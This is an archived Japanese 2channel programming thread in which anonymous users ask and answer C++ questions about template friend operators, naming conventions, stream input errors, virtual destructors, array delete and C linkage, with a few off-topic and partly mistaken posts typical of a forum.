C++相談室 part7
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
NGNG0002デフォルトの名無しさん
NGNGhttp://www.boost.org/
STLport
http://www.stlport.org/
過去ログ
Part1
http://piza.2ch.net/tech/kako/980/980175292.html
Part3
http://pc.2ch.net/test/read.cgi/tech/1003832761/
Part4
http://pc.2ch.net/test/read.cgi/tech/1009071535/
Part5
http://pc.2ch.net/test/read.cgi/tech/1014217496/
part6
http://pc.2ch.net/test/read.cgi/tech/1018454705/
Windowsの話はこちらで
Win32API 質問箱 Build3
http://pc.2ch.net/test/read.cgi/tech/1017072275/
Windows Programing for C/C++(Not MFC)
http://pc.2ch.net/test/read.cgi/tech/1018239290/
キタ?
C++ Final Draft International Standard
http://www.kuzbass.ru/docs/isocpp/
v(^▽^)v
Loki
http://www.moderncppdesign.com/
0003デフォルトの名無しさん
NGNGVisualC++相談室 【7】
http://pc.2ch.net/test/read.cgi/tech/1017843192/
0004デフォルトの名無しさん
NGNG乙彼
0005デフォルトの名無しさん
NGNG0006デフォルトの名無しさん
NGNGhttp://www.cis.temple.edu/~ingargio/refman.pdf
次からはこれもテンプレよろしく
0007デフォルトの名無しさん
NGNG0008デフォルトの名無しさん
NGNGそこ、Forbiddenになっちゃうんだけど。俺だけ?
0009デフォルトの名無しさん
NGNGじゃぁ、ここをどうぞ
0010デフォルトの名無しさん
NGNG自分の算術クラスを見てみたら、
class xMath {
private:
xMath(const xMath&);
operator=(const xMath&);
~xMath();
private:
inline static 〜
inline static 〜
};
こんな風になってたんだけど・・・
namespaceで書き直した方がいいですか?
0011デフォルトの名無しさん
NGNG0012デフォルトの名無しさん
NGNG下のソース、メンバ関数Fの宣言と定義を同時にやらないと通らないのですが、
下に書いたように分離するのは仕様違反なのでしょうか?
struct S
{
typedef char type;
};
template<typename T>
class C {
public:
typedef T type;
static void F(type::type* p);
};
template<typename T>
void C<T>::F(type::type* p)
{
p;
}
S::type a;
C<S>::F(&a);
0013デフォルトの名無しさん
NGNG普通の名前空間で済む話なら普通のでいんじゃない?
0014デフォルトの名無しさん
NGNG標準仕様では OK のはず。ただし、type::type の前に typename が
必要だと思うけど。VC++ は template 機能が貧弱だから。
0015デフォルトの名無しさん
NGNGtypedef false F;
とするとエラーになるんですが、だめなんでしょうか?
0016デフォルトの名無しさん
NGNG001716
NGNG001816
NGNG一人相撲つかれた。逝ってくる
0019デフォルトの名無しさん
NGNG0020デフォルトの名無しさん
NGNG型の時がtypedef で上の場合は#define使うのか。
typedef TRUE T;
が通ってたので勘違いしてました。
0021デフォルトの名無しさん
NGNG{ friend bool operator ==(const Test<T>& t1,const Test<T>& t2); };
//CTestをcharに特殊化
template<> class CTest<char>
{ friend bool operator ==(const Test<char>& t1,const Test<char>& t2); };
上の二つのクラスに、別々のoperator == をつけようと思い、
(1)か(2)の方法でクラス外で定義して、クラスにはfriendで実装
しようと思ったのですが、どちらもエラーになります。
これは不可能なことなのでしょうか?
(1)クラス外の関数の特殊化を試みる > Error!
template <typename T> bool operator ==(const Test<T>& t1,const Test<T>& t2)
{return true;}
template <> bool operator ==(const Test<char>& t1,const Test<char>& t2)
{return true;}
(2)別々に operator を作る。 > Error!
(クラス外定義なのでオーバーロードできないみたい)
bool operator ==(const Test<int>& t1,const Test<int>& t2)
{return true;}
bool operator ==(const Test<char>& t1,const Test<char>& t2)
{return true;}
002221
NGNG(2)はOKです。なんか違うエラーみたいでした。
0023デフォルトの名無しさん
NGNG2ちゃんねるのお勧めな話題と
ネットでの面白い出来事を配送したいと思ってます。。。
===============================読者数:105420人 発行日:2002/05/020
どもども、ちょっぴりワキガのひろゆきですー。
いやぁ、もうすぐですねー、谷澤動物病院の裁判の判決ですー。。。
おいらはいつものとおり、
「投稿者がわからないので勝手に削除は出来ない」
「勝手に削除したら投稿者に訴えられてしまうかも知れないから削除は出来ない」
との主張を繰り返してきたんですけど、裁判官てば実に冷ややかな目でおいらを見るんですよー。。。
その上、
「削除出来ないんじゃなくてするつもりがないんじゃないですか?」
「悪質な書き込みをむしろ売り物にしてるんじゃないですか?」
「発信者を特定出来るようにようにしてから能書きを語るったらどうですか?」
なんて嘲りの笑みを浮かべながら言うんですよー。。。
本当に憎らしい奴ですー、、うぅうぅ、、
ところで、谷澤動物病院てば、おいらのことを訴えてから客が2割も減ってしまったそうですー。。。
おいらのことを訴えると被害が余計に拡大するってことですね。。。えへへ。。。
んじゃ!
0024デフォルトの名無しさん
NGNG仮引数のTestって?
CTestじゃないの?
0025デフォルトの名無しさん
NGNG使ってるコンパイラは何?
002621
NGNGミスって書き込んでました。どっちかに統一して見て。
>>25
VC.NET と VC6
でちょっと変えて実験してみたところ、VC.NETは下のはコンパイルできませんでした。
VC6の場合はコンパイルするのになんかコツがいるみたい。(^^;
(場所1から場所2)をコメントアウトして
一度ビルドして、コメントをはずして、改行を入れると、なぜかコンパイルできる。
やっぱり、operator == 系の特殊化は無理なのかな。
template<typename T> class Test :public T
{
friend bool operator ==(const Test<T>& t1,const Test<T>& t2);
};
template<> class Test<CString>
{
public:
friend bool operator ==(const Test<CString>& t1,const Test<CString>& t2);
};
template<> class Test<CWnd>
{
public:
friend bool operator ==(const Test<CWnd>& t1,const Test<CWnd>& t2);
};
template <typename T> bool operator ==(const Test<T>& t1,const Test<T>& t2)
{
return true;
}
//****場所1
bool operator ==(const Test<CString>& t1,const Test<CString>& t2)
{
return true;
}
bool operator ==(const Test<CWnd>& t1,const Test<CWnd>& t2)
{
return true;
}
//******場所2
0027デフォルトの名無しさん
NGNG#include <iostream>
template<typename T> class Test;
template <typename T> bool operator ==(const Test<T>& t1,const Test<T>& t2);
template<> bool operator ==(const Test<int>& t1,const Test<int>& t2);
template<typename T> class Test
{
friend bool operator ==(const Test<T>& t1,const Test<T>& t2);
};
template<> class Test<int>
{
friend bool operator ==(const Test<int>& t1,const Test<int>& t2);
};
template <typename T> bool operator ==(const Test<T>& t1,const Test<T>& t2)
{
std::cout << "template" << std::endl;
return true;
}
template<> bool operator ==(const Test<int>& t1,const Test<int>& t2)
{
std::cout << "specialization for int" << std::endl;
return true;
}
int main()
{
Test<int>() == Test<int>();
return 0;
}
0028デフォルトの名無しさん
NGNGちなみに
メンバにはm_
静的変数にはg_
intにはn
charにはc
shortにはs
longにはl
unsignedにはu
とか付けてます。
0029デフォルトの名無しさん
NGNGメンバは m_
static は s_
global は g_
あとは普通は型に対応させたりはしない。名前からだいたい分かるようにしてる
(〜Nameなら文字列(std::string)だろう、〜Counterなら整数だろう、とか)
しかしメンバは m_ とかかったるいので
postfix で _ というのも少しすっきりして良さそうな気もしてきてる
0030デフォルトの名無しさん
NGNGプレフィックス付けた方が見やすいか・・・
気をつけよう。
# サフィックスでもいいのかな?
0031デフォルトの名無しさん
NGNGm_はでかいクラスで、引数と名前の衝突が起こりそうなとき。
pXxx;
m_pXxxx;
0032デフォルトの名無しさん
NGNGあとBuilderやDelphiなんかはTだとか。
>30
サフィックスって後ろに付けるということですよね?
それだと一目でわかりにくいような…。
0033デフォルトの名無しさん
NGNGメンバ変数にアンダーバーをつけるなら、プレフィクス(前につける)は
マズい。それはC++の禁じ手。アンダーバーで済ませるなら、必ず
ポストフィクス(後ろにつける)で。
俺は、テンプレートクラス名の先頭にはT、例外クラスの先頭にはE、
それ以外のクラス名の先頭にはC、ってやってるなー。
インターフェースクラスの先頭をIにするかどうかは、いつも脳内会議中。
あと、char,short,longで区別じゃなくて、1バイト、2バイト、4バイトで
区別する、int8,int16,int32(もしくはBYTE,WORD,DWORD)をやってる。
0034デフォルトの名無しさん
NGNGstructはS enumはEとかつけようと思っても、
なんか最後の方でみんな取っちゃったりして。
0035デフォルトの名無しさん
NGNGMFC使ってるときは C とかVCL使ってるときは T とか付けたりするときもあるけど、基本は無修飾っす。鬱陶しいし。賛成の人?
0036デフォルトの名無しさん
NGNGstructやenumには特につけない。
で、メンバやグローバル変数は大文字小文字を使って、ローカル変数は小文字のみ。
0038デフォルトの名無しさん
NGNGすんません。
プリフィックスにアンダーバーを付けるとマズい(あるいは禁じ手)なのはなぜなんでしょう?
そういや、winだと標準で
INT8
INT16
INT32
UINT8
UINT16
UINT32
って用意されてますね。
0039デフォルトの名無しさん
NGNG処理系(コンパイラベンダーなど)のために予約されている。
つまりはコンパイラのバージョンアップなどで _ で始まる新たな予約語などを
追加していいように、ユーザーはその名前を使わないようにとの決まり。
0040デフォルトの名無しさん
NGNGああ、そういうことですか。
それはそうですね。
知ってました。
要するに
× _xXxxx
ですよね?
m_xXxxxがダメなのかと勘違いしてました。(w
デファインはよくアンダーバーを2回並べますが…。
0041デフォルトの名無しさん
NGNG__ も予約されてるので駄目
0042デフォルトの名無しさん
NGNGスコアがいくつ並んでもよい) は、実装用に予約されている
0043デフォルトの名無しさん
NGNGとか途中にアンダースコア2つもアウトだっけ。
0044デフォルトの名無しさん
NGNG0045デフォルトの名無しさん
NGNGほとんどがクラスな訳だし、VCだとインテリセンスに掛かりづらいし。
むしろc的な使い方と両方やっている人が、区別のためにしてるのかな。
あとGoF本だと、メンバ変数のプレフィックスに _ 付けまくってるね。
あれは、可読性を高めるためにあえてやっているだけなのか、
それとも普段のソースそのものなのか…。
0046なぜ?
NGNGをしたいのですが、アルファベットを入力して
else節を実行しようとすると、無限ループになって
しまいます。何故に、cin >> i のところで次の入力
待ちになってくれないのでしょうか?
Borland C++ Compiler 5.5.1 と VC6.0 です。
OS はWin95
#include <iostream>
#include <string>
using namespace std;
int main()
{
int i;
cout << "整数を入力してください" << endl;
while(1){
if(cin >> i){
cout << i << ":読み込みに成功しました" << endl;
cout << "状態フラグ:" << cin.rdstate() << endl;
if(i == 0) break;
}
else{
cout << "読み込みに失敗しました" << endl;
cout << "状態フラグ:" << cin.rdstate() << endl;
cin.clear();
}
}
}
0047デフォルトの名無しさん
NGNGそれ以外は、インターフェース(抽象クラス)にはIをつけるだけで、あとはつけない。
0048デフォルトの名無しさん
NGNGBorladC++のコンソールウィザードとやらで
簡単なプログラムを組んでみたんですけど、
自分のマシン以外だと「CC3250.DLL」が無いから動かないと言われます。
VCLを選んだら、VCL50が無いと言われました。
exeだけで、Win環境ならどこでも動くようにするのは
どうしればいいのでしょうか?
0049デフォルトの名無しさん
NGNGプロジェクト→オプション→パッケージ→実行時パッケージを使って構築
プロジェクト→オプション→リンカ→共有RTLDLLを使う
この2つ共のチェックを外してコンパイル
0050sage
NGNGコンパイラオプションで上と同じように設定できると思われ
005148
NGNG容量もそれらしく増えました。どーも8KBは変だと思ってました。
005226
NGNGやはり無理でした。
VC++.NETのMSDNのDeepC++ やテンプレートをいろいろ調べたところ。
次のようにするとスマートに解決できました。
enum TypeM
{
type_default = 0,
type_cstring = 1,
type_cwnd = 2
};
template<typename T,enum TypeM type=type_default> class Test :public T
{
public:
friend bool operator ==(const Test<T,type>& t1,const Test<T,type>& t2);
};
template<> class Test<CString>
{
public:
//friendの特殊化は無理みたい。>コンパイルできるが呼べない。
};
template<> class Test<CWnd>
{
public:
//friendの特殊化は無理みたい。>コンパイルできるが呼べない。
};
template <typename T,enum TypeM type> bool operator ==(const Test<T,type>& t1,const Test<T,type>& t2)
{
//typeは定数なので最適化時にswitchステートメントからは1つの関数が得られる。
//これがtemplateの最も優れた性質なのです。(MSDN参照)
switch(type)
{
case(type_cstring):
AfxMessageBox("CString");
break;
case(type_cwnd):
AfxMessageBox("CWnd");
break;
default:
AfxMessageBox("Default");
break;
}
return true;
}
0053デフォルトの名無しさん
NGNGアルファベットは数字ではないので、int の i には読み込めないので、読み込まれずにいつまでも cin の中に残ってるから。
0054デフォルトの名無しさん
NGNGchar c;にして
if(i==1) を if(c == '1')にする。
キーボードの 1 は文字で認識しないとだめ。
0055デフォルトの名無しさん
NGNG>アルファベットは数字ではないので、
文字コードってご存じ?
0056デフォルトの名無しさん
NGNGcin.clear(); の後に cin.ignore(); を呼ぶ。
>>55
?
0057デフォルトの名無しさん
NGNGそれだと Test<CString> には friend 関数が宣言されていないことに
なっちゃうけど…
0058デフォルトの名無しさん
NGNG今までこうコーディングしてました。
void func(){
//statement
}
しかし、ネット上で見かけるソースや、マイクロソフト関連の
サンプルをみると、最近ほとんどがこうです。
void func()
{
//statement
}
やはり後者が主流なのでしょうか?会社に入った場合はどちらが役に
立ちますか?くだらない質問ですが真剣です。ご教授頂ければ幸いです。
0059デフォルトの名無しさん
NGNGクラス定義内のインライン関数なら前者の書き方でよいと思うが、
通常の関数定義は後者の方がよいと思う。
複雑な仮引数やtemplate文になると、頭だけで2行以上使うことも
あるぞ。
0060なぜ?
NGNGでも、これは何ですか?
cin.clear()でfailbitクリアするだけでは
駄目なんですか?
でも、ありがとうございました。うれしいです。
0062デフォルトの名無しさん
NGNGいや・・・・i に入れられなかったアルファベットがストリームに残った
ままになって永久ループするからだろ。ignore()はストリームをクリア
してくれる。
0063デフォルトの名無しさん
NGNG・・・とと。ignore()は一文字だけ読みとるので、複数文字をいれると、
その一文字ずつメッセージが出てくるはず。
0064デフォルトの名無しさん
NGNGレスありがとうございます。今までそういうのは
template<class T>
class<T>::func( int long_long_so_long_argment
int long_long_too_long_argment
char iikagennni_siro_argment ){
//statement
}
こんな感じにしてました。やはり就職すると、
最初の { の位置を書き直すよう、指導されたりするのでしょうか?
0065デフォルトの名無しさん
NGNGたかが{の位置くらいで悩むな
そんなことで文句を言う会社なんてクソだから就職するな
0066デフォルトの名無しさん
NGNGその通りみたいです。これでOKだと思う。
これでやっとoperator使える〜YO〜
/* 部分特殊化を使う operator== test*/
Test<CDialog,type_default> s1,s2;
s1.CmnTest();
if(s1 == s2){}
Test<CString,type_cstring> w1,w2;
w1.CmnTest();
if(w1 == w2){}
Test<CWnd,type_cwnd> o1,o2;
o1.CmnTest();
if(o1 == o2){}
/*この下はヘッダー*/
enum TypeM{
type_default,type_cstring,type_cwnd
};
template<typename T,TypeM type> class Test :public T
{
public:
friend bool operator ==(const Test<T,type>& t1,const Test<T,type>& t2);
void CmnTest() const
{AfxMessageBox("Default--CmnTest()");}
};
template<> class Test<CString,type_cstring> :public CString
{
public:
friend bool operator ==(const Test<T,type_cstring>& t1,const Test<T,type_cstring>& t2);
void CmnTest() const
{AfxMessageBox("CString--CmnTest()");}
};
template<> class Test<CWnd,type_cwnd> :public CWnd
{
public:
friend bool operator ==(const Test<T,type_cwnd>& t1,const Test<T,type_cwnd>& t2);
void CmnTest() const
{AfxMessageBox("CWnd--CmnTest()");}
};
template <typename T,TypeM type> bool operator ==(const Test<T,type>& t1,const Test<T,type>& t2)
{
//typeは定数なので最適化時にswitchステートメントからは1つの関数が得られる。
//これがtemplateの最も優れた性質なのです。(MSDN参照)
switch(type)
{
case(type_cstring):
AfxMessageBox("CString--operator==");
break;
case(type_cwnd):
AfxMessageBox("CWnd--operator==");
break;
default:
AfxMessageBox("Default--operator==");
break;
}
return true;
}
006758=64
NGNGむはー、心強いお言葉!
いえ正直に言うと、できればコーディングスタイルは
変えたくないなぁ…といった所が本音でして…。
ただネット上で、あまりに前者型をみかけないので、ひょっとして全滅
しちゃったのかなと。また就職先がクソ会社かもしれないですしねぇ(´Д⊂
59+65さんのお言葉を胸に、少し模索しつつも当面この
スタイルでいこうと思います。レスありがとうございました。
0068なぜ?
NGNG理解できました。ありがとうございました。
cin >> iで読み込みに成功するとは、cinストリームからデータがiに移ってcinからは
取り除かれる。
cin >> iで読み込みに失敗するとは、cinからデータがiに移らずcinに残ったまま
になる。ということなんですね。読み込みの成功とか失敗の意味が分かってませんでした。
0069_
NGNG最近のハードウェアなら問題ないような気がするのですが・・・
0070デフォルトの名無しさん
NGNG仮想関数が遅いっていうなら、関数のポインタを通してのコールも
遅くなるよ。実際はCALL時のオーバーヘッドが元々大きいので、そんなに
変わらないと思われ。
0072デフォルトの名無しさん
NGNG極限まで最適化する際には足かせになる。
ただ、仮想関数でも呼び出すメソッドが自明な場合は
メモリを介さずに直接callされる
0073デフォルトの名無しさん
NGNGそうですねえ。STLなんて使ってみたらわかるけど、糞みたいにステップ
数を消費しますよ。あまりステップ数にこだわならない方がいいかも・・・
デストラクタは一回も継承しなくても、仮想関数として定義することを勧めて
いる本もあるぐらいですからねえ。
0075_
NGNGそれでもSTL便利すぎですよね><
ちょっとwebで調べたところdynamic_cast仮想関数でも100万回実行して0.23秒?って・・・
コストに拘るスーパーハカー目指すの萎えます・・・
0076_
NGNGclass B : public A { virtual void Func(); };
void A::Func() { b = false; }
void B::Func() { b = true; }
10000*10000回実行したところvirtual使っても使わなくても両方7か8秒でした。
最近だとステップ数で考えるよりキャッシュにヒットしやすいように書いた方がいいのかな。
0077デフォルトの名無しさん
NGNG教えてください。
0078デフォルトの名無しさん
NGNGできません
0079デフォルトの名無しさん
NGNGそれでは、クラスに定数の配列とかを置くことはできないのですか?
0080デフォルトの名無しさん
NGNG0081デフォルトの名無しさん
NGNGありがとうです。
0082デフォルトの名無しさん
NGNGProfessionalとPersonalってそんなに違うんですか?
0083デフォルトの名無しさん
NGNGclass T1,
template<class>class CP1
>class RRR{};
このtemplateは何も意味しているんですか?VCしか使ったこと無いから
わかんないよ。
0084デフォルトの名無しさん
NGNGRRR<int, vector> とかそんな風に書けたりする意味。
0085デフォルトの名無しさん
NGNGtemplate<typename A,typename B>class AAA{};
と何が違うの??
0086デフォルトの名無しさん
NGNGマクロと同じ。
マクロ定義の中に先に定義されたマクロがあるだけ。
0087デフォルトの名無しさん
NGNGそれだと AAA<int,vector> でなくて AAA<int, vector<int> > とかになる。
0089デフォルトの名無しさん
NGNGそれはちと違う。その例でいうなら、先に定義したマクロを引数として
取ることができるマクロ、という言い方になる。
あるいは関数ポインタを引数にとる関数、というアナロジーのほうが
適切かと。
0090デフォルトの名無しさん
NGNG==== sub.h =================================
void sub(const char *);
==== sub.c =================================
#include <stdio.h>
#include "sub.h"
void sub(const char *s)
{
printf("%s\n",s);
}
==== main.cc ===============================
#include "sub.h"
int main(int argc, char *argv[])
{
sub("itteyoshi");
}
==== compile ==============================
g++ -Wall -g -c main.cc
gcc -Wall -g -c sub.c
g++ -Wall -g main.o sub.o -o main
main.cc:4: undefined reference to `sub(char const *)'
collect2: ld returned 1 exit status
Cだったら問題なくリンクできるのに〜? なぜ〜? 名前空間の問題
だと思うんですけど・・・using namespace std;でもダメでした・・・
0091デフォルトの名無しさん
NGNGねえ、標準ヘッダのひとつくらい覗いてどう書いてあるか見てみようよ。
009290
NGNG……sub.hにexternがないとか??
・Cだとあってもなくてもコンパイル通る
・C++だとあってもなくてもコンパイル通る
んですが……。
もしかして凄く恥ずかしい間違いしているような気がしてきた……
でもわからん……
0093デフォルトの名無しさん
NGNGextern "C" {
#endif
void sub(const char*);
#ifdef __cplusplus__
}
#endif
たしか、こんな感じ
0094デフォルトの名無しさん
NGNG自分でつくれる方教えてください。
入力:パターン文字列(*abc*,?abcなど)、調べる文字列(ababcd)
出力:マッチしたかどうか
似たようなソースでも結構です。お願いします。
0095デフォルトの名無しさん
NGNG0097デフォルトの名無しさん
NGNG0098デフォルトの名無しさん
NGNG無理。Java でも使え。
009997
NGNGサンクスです。
0100デフォルトの名無しさん
NGNG0102デフォルトの名無しさん
NGNGこんな風に、要素が一つでも
delete[] c_pointer;
にしなきゃだめですよね?
delete c_pointer;
じゃまずいっすよね?
0103デフォルトの名無しさん
NGNG0104デフォルトの名無しさん
NGNGこっちでおながいします
c_pointer = new char[1];
こういう一つだけの確保でも
delete[] c_pointer;
しちゃってもOKですよね?
0105デフォルトの名無しさん
NGNG0106デフォルトの名無しさん
NGNGサンクス!
0107デフォルトの名無しさん
NGNG単一のnewと配列のnewでは、ヒープ領域に確保のされる方法が違うのよん。
配列のnewはオブジェクトの数も覚えているのよん。
なんで二種類もnewがあるかと言うとねん、少しでもメモリを節約するためなの
よん。
0108デフォルトの名無しさん
NGNG0109デフォルトの名無しさん
NGNG内部的には同じでも、同じという保証があるワケじゃないから絶対にやっちゃダメ
0110デフォルトの名無しさん
NGNGデバッガ等で追ってもエラーになんないんだな
他のコンパイラ(g++とか)とソース共有してると死ねる
つか死んだ
0111デフォルトの名無しさん
NGNG0112デフォルトの名無しさん
NGNGメモリ領域の開放自体はまぁ問題ないにせよ。
0113デフォルトの名無しさん
NGNG0114デフォルトの名無しさん
NGNGそれくらい自分でつくれよ。
挿入したい文字列の長さ分、挿入位置より後の文字列をmemmoveすればいいだけだろ。
0115114
NGNG0116デフォルトの名無しさん
NGNG標準に存在します
0117113
NGNGもうあるのか・・・
作っても意味なかった
0118デフォルトの名無しさん
NGNG無い方がどうかしてる
0119デフォルトの名無しさん
NGNGPerl感覚で扱えるよう、自分でsplitや部分文字列の一括変換機能
も使える文字列クラス作ったよ。あ、でもinsertは入れ忘れてたな。
今度入れておこう。
0120デフォルトの名無しさん
NGNG文字列は文字列、勝手に分裂したりすると言うオブジェクトのとらえ方は可笑しい
0121デフォルトの名無しさん
NGNGソースキタ━━(゚∀゚)━━━ !!!!
0122119
NGNGsplitは分裂というより、文字列配列の生成だな。
処理を行う文字列自体は、Perl同様に当然不変。
str.split("abc");
とやると"abc"をキーに文字列を分割し、分割した文字列の配列を
新たに生成して返す感じ。
あと、再発明もなかなか楽しいものだよ。
特に文字列処理は、アルゴリズムの習得や実験にも最適だからね。
0123デフォルトの名無しさん
NGNG0124デフォルトの名無しさん
NGNGのkclass.h
ってやつがコンパイルできないんですけど。初心者逝ってよしですか?
0125デフォルトの名無しさん
NGNG0126デフォルトの名無しさん
NGNG概念的にはそれでもいいけど、内部には元文字列と、
ポインタかインデックスと長さの配列だけ持ってりゃ
いいんでない?
0127デフォルトの名無しさん
NGNGデストラクタにvirtualをつけると関数が失敗するみたいのですが、
なぜなのか理由が分かりません。
何か理由があるのでしょうか?
/*Test*/
CTest tt;
static_cast<CString&>(tt) = _T("testdesu");
tt.Format2(_T("%sです"),(tt));
AfxMessageBox(tt);
/*class*/
class CTest :public CString
{
public:
inline void Format2(const TCHAR* lpszFormat, ...)
{
va_list argList;
va_start(argList, lpszFormat);
CmnFormatV(lpszFormat, argList);//call CmnFormatV
va_end(argList);
}
inline void CmnFormat2( const TCHAR* lpszFormat, va_list args )
{this->FormatV(lpszFormat,args);}
CTest()
{};
//デストラクタ
//virtual ~CTest()
~CTest()
{};
};
0128デフォルトの名無しさん
NGNGinline void CmnFormatV( const TCHAR* lpszFormat, va_list args )
0129デフォルトの名無しさん
NGNG何々?再帰呼び出しするって事?
0130デフォルトの名無しさん
NGNG0131デフォルトの名無しさん
NGNGそれに一票。だいたいpublic派生したら、virtualキーワードはつける必要ないよ。
親のを継承する。
0132127
NGNGCStringの派生クラスにCString::Formatの関数と同じものを
を書いてそれを呼んでるのですが、
デストラクタを virtual宣言すると、失敗してるみたいなんです。
デバックしても手がかりがつかめないので聞いてみようと思いました。
どういうときにvirtual宣言をしてはいけないのでしょうか?
0133デフォルトの名無しさん
NGNG親のCStringクラスのデストラクタがvirtual宣言されてないと、継承先のクラス
でもvirtual宣言してはいけない。
0134誰か
NGNG思い出したら書きますんでよろしくお願いしますm(..)m
0135デフォルトの名無しさん
NGNGm( 。 。)m ぃ ゃ
0136デフォルトの名無しさん
NGNG0137デフォルトの名無しさん
NGNGというか、継承したのなら、virtual宣言をつけたらいいかどうか悩む必要は
ないです。書かなければいい。親と同じになるから。
もし必ずvirtualを書かなければいけないとしたら、いちいち親のヘッダー
ファイルを開いて読まなければならないことになるよ。
0138デフォルトの名無しさん
NGNG0139デフォルトの名無しさん
NGNG0140127
NGNG親と子のデストラクタ名が違うけど
デストラクタはオバーライドされてしまうということなのでしょうか?
0141デフォルトの名無しさん
NGNGデストラクタはクラス名と同じだから、厳密にはオーバーライドではありません。
仮想関数として宣言されていれば、自分を呼び出してから親のデストラクタも
呼び出しに行きます。仮想関数でなければ、自分しか呼び出しません。
0142デフォルトの名無しさん
NGNG「仮想デストラクタ」で調べておくといいかも
0143デフォルトの名無しさん
NGNGそりゃ違う。仮想関数のデストラクタでも、そうでなくても、
親は呼びにいくぞ。
仮想関数として宣言されているメリットは、基底ポインタが
派生クラスを指していても、正しいデストラクタが呼ばれるよ
うにするため。
0144デフォルトの名無しさん
NGNG「厳密には」って・・・、大雑把にゆってもオーバーロードじゃぁないでしょ。
しかも理由が「デストラクタはクラス名と同じだから」って・・・・、意味わからん。
0145デフォルトの名無しさん
NGNG・仮想デストラクタは
0146デフォルトの名無しさん
NGNG0147デフォルトの名無しさん
NGNGみれば仮想デストラクタの存在理由が理解できます。
#include <iostream>
using namespace std;
class A {
public:
virtual ~A() { cout << "~A()" << endl; }
};
class B : public A {
public:
~B() { cout << "~B()" << endl; }
};
int main()
{
A* a = new B;
delete a;
}
0148127
NGNG結論としては
デストラクタがvirtual宣言されていない現在のクラスでは
newで作成したオブジェクトのデストラクタが呼ばれない。
//CT<CBase> n_n;//2
//CT<CBaseV> n_v;//2
//CTV<CBase> v_n;//2
//CTV<CBaseV> v_v;//2
//CBase *pn_n = new CT<CBase>;//~CBase Only
//delete pn_n;
//CBaseV *pn_v = new CT<CBaseV>;//2
//delete pn_v;
//CBase *pv_n = new CTV<CBase>;//~CBase Only
//delete pv_n;
//CBaseV *pv_v = new CTV<CBaseV>;//2
//delete pv_v;
struct CBase
{
CBase(){}
~CBase()
{
AfxMessageBox(_T("~CBase()"));
}
};
struct CBaseV
{
CBaseV(){}
virtual ~CBaseV()
{
AfxMessageBox(_T("~CBaseV()"));
}
};
template<typename T> struct CT :public T
{
CT()
{}
~CT()
{
AfxMessageBox(_T("~CT()"));
}
};
template<typename T> struct CTV :public T
{
CTV()
{}
virtual ~CTV()
{
AfxMessageBox(_T("~CTV()"));
}
};
0149127
NGNG×デストラクタがvirtual宣言されていない現在のクラスでは
newで作成したオブジェクトのデストラクタが呼ばれない。
○継承元のデストラクタがvirtual宣言されていないと
継承先のオブジェクトをnewで作成したときに
継承先のデストラクタが呼べない。
0150デフォルトの名無しさん
NGNG結論は、CStringを継承する時は、デストラクタにvirtualを付けてはいけない
という事と、new/deleteせずに静的にオブジェクトを扱うように注意しなけれ
ばならないという事になりそうですね。
0151デフォルトの名無しさん
NGNG148のケースのデストラクタが呼べてないということは
C++の言語仕様上では
メモリ上にオブジェクトの一部が残るのでしょうか?
それともただデストラクタの処理ができないのでしょうか?
それとも未定義?
0152127
NGNGそのスタイルでいこうと思います。
ありがとうございました。>ALL
0153デフォルトの名無しさん
NGNG0154デフォルトの名無しさん
NGNGデストラクタとdeleteの本体は全く別物ですから、deleteは正しく行われます。
しかし、オブジェクトの中で新たに領域を動的に確保していた場合などは、
その領域は残ってしまいます。
例えば下の例ですと、int* pの指す領域が開放されずに残ります。
class A {
int a;
};
class B : public A {
int* p;
public:
B() { p = new int; }
~B { delete p; }
}
int main()
{
A* a = new B;
delete a;
}
0155デフォルトの名無しさん
NGNG訂正
×~B
○~B()
0156151
NGNGなるほど、ということは動的オブジェクトさえ使わなければ
安全であるということですね。
これで安心して寝られます。ありがとうございました。
0157デフォルトの名無しさん
NGNG0158デフォルトの名無しさん
NGNG> tt.Format2(_T("%sです"),(tt));
可変長引数だからoperator LPCTSTR()が呼ばれてない罠。
確か仮想関数が1つもないとそれでも動いたはず。
0159デフォルトの名無しさん
NGNGたとえば、デストラクタがvirtualでないstd::basic_string<>を継承したクラス
template<T>
class specialized_string : public std::basic_string<T, original_traits<T>, allocator<T> >
{
public:
virtual specialized_stirng() { }
};
コイツを絶対にこれより上(basic_string)にキャストせず、
specialized_stringまでしかキャストしないなら、
このクラスのサブクラスのすべてのデストラクタが呼ばれる事が保証される。
この場合、コンポジションを使った方が適切ではあるけど。
boostのnoncopyableを見るまでダメだと信じていた
0160デフォルトの名無しさん
NGNG明示的なキャストしている場合はちゃんと動くんですよね。
<stdarg.h>の _ADDRESSOF(v)の値が
仮想関数を含んでいるときに違う値を指してるみたい。
可変数引数マクロと仮想関数の相性が悪いのか...。
0161158
NGNG#include <stdio.h>
class A {
public:
A(const char *a) : buf(a) { }
~A() {}
const char *buf;
};
class B {
public:
B(const char *a) : buf(a) { }
virtual ~B() {}
const char *buf;
};
int main() {
A a("test"); B b("test");
printf("offsetof(A::buf) == %08X\noffsetof(B::buf) == %08X\n", (char *)&a.buf-(char *)&a, (char *)&b.buf-(char *)&b);
return 0;
}
これでわかるかもしれづ。
ヒントはvtable。
0162158
NGNG>>160
> 可変数引数マクロと仮想関数の相性が悪いのか...。
仮想関数がない場合は、「たまたま」動いてただけ。
CStringの場合は、それを期待して実装された可能性が高いが。
0163デフォルトの名無しさん
NGNGということは、CString の先頭のメンバが _T buf[] になってるってこと?
ちょっとイヤな実装だな。
0164158
NGNGいや、CStringのメンバ変数は格納してる文字列へのポインタだけ。
sizeof(CString) == 4。
で、CStringを値渡しすると文字列へのポインタがスタックに積まれることになる。
# うーん、うまく説明できないな…。
0165デフォルトの名無しさん
NGNGあ、了解。値渡しになるわけか。参照渡しと勘違いしてたよ。
0166デフォルトの名無しさん
NGNGそうじゃなくて、日本語の一文字を読めるようにしたんですが、
どうしたらいいですか?
0167166
NGNG×したんですが
○したいのですが
0168デフォルトの名無しさん
NGNG0169166
NGNG自力というのは、文字コードを調べて判定するってことですか?
0170デフォルトの名無しさん
NGNGその通り。AdapterPatternあたりで実装するのも悪くないだろう
0171デフォルトの名無しさん
NGNG0172デフォルトの名無しさん
NGNG0173デフォルトの名無しさん
NGNGでも、便利だったりする。
0174166
NGNGふーむ。そうですか。Adapterはちょっと忘れてるのでデザパタ
本でも見て検討してみます。
>>171
wcharだと普通コードはUnicodeになりますよね?
UNIXなので、EUCとかでやりたいんですが。
wfstreamでこのEUCは扱えますか?
char_traitsとか使うんですかね?
0175166
NGNGですね。
だいたいわかってきました。どうもありがとうございました。
0176ヘルプ!
